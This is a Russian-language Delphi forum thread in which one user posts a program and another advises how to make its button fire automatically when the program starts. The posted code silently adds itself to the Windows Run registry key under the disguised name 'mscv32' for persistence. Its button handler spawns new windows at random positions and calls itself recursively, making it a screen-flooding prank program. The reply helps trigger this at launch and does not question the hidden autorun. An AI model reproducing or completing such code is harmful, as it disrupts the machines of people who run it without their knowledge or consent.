автоматическое нажатие кнопки.

[sauron99]

Как сделать чтобы при запуске программы кнопка нажималась автоматом?
вот код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, XPMan, Buttons, registry;

type
  TForm1 = class(TForm)
    XPManifest1: TXPManifest;
    BitBtn1: TBitBtn;
    procedure FormCreate(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
reg := tregistry.create;
reg.rootkey := hkey_local_machine;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run',false);
reg.writestring('mscv32', application. exename);
reg.closekey;
reg.free;
Width:= 337; 
Height:= 185;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
var
X: TForm1; 
begin
X:= TForm1.Create(NIL);
ShowWindow(X.Handle, SW_SHOW); 
ShowWindow(X.BitBtn1.Handle, SW_SHOW); 
X.Top:= Random(Screen.Height); 
X.Left:= Random(Screen.Width);
X.Repaint; 
Sleep(1000);
BitBtn1.Click;

end;

end.

пробывал в FormCreate вставлять BitBtn1Click(form1), но потом прога не запускалась)

[fixoto]

Давно не работал на делфи, так что могу быть не точным.

Во первых OnFormCreate этот метод создает форму-объект и ее методы, пока он не выполнится методы работать не будут. Тебе целесообразнее засунуть твой BitBtn1.Click в один из следующих методов формы:

OnFormOpen
OnFormView
OnFormShow
OnFormActive

Точных названий не помню, так что ты посмотри на вкладке методов формы и найдешь.

Целесообразнее использовать для тебя OnFormShow или FormShow (как там прально? непомню) так как это почти тоже самое что и FormCreate, только в случает OnShow форма уже будет готова к работе с другими объектами. А FormCreate вообще не трогай.

т.е. шоб было так:

procedure TForm1.OnShow(Sender: TObject);
begin
BitBtn1.Click;
end;

и ешо: убери из процедуры bitbtn1.click вызов этого же метода (bitbtn1.click) а то замкнутый цикл получается.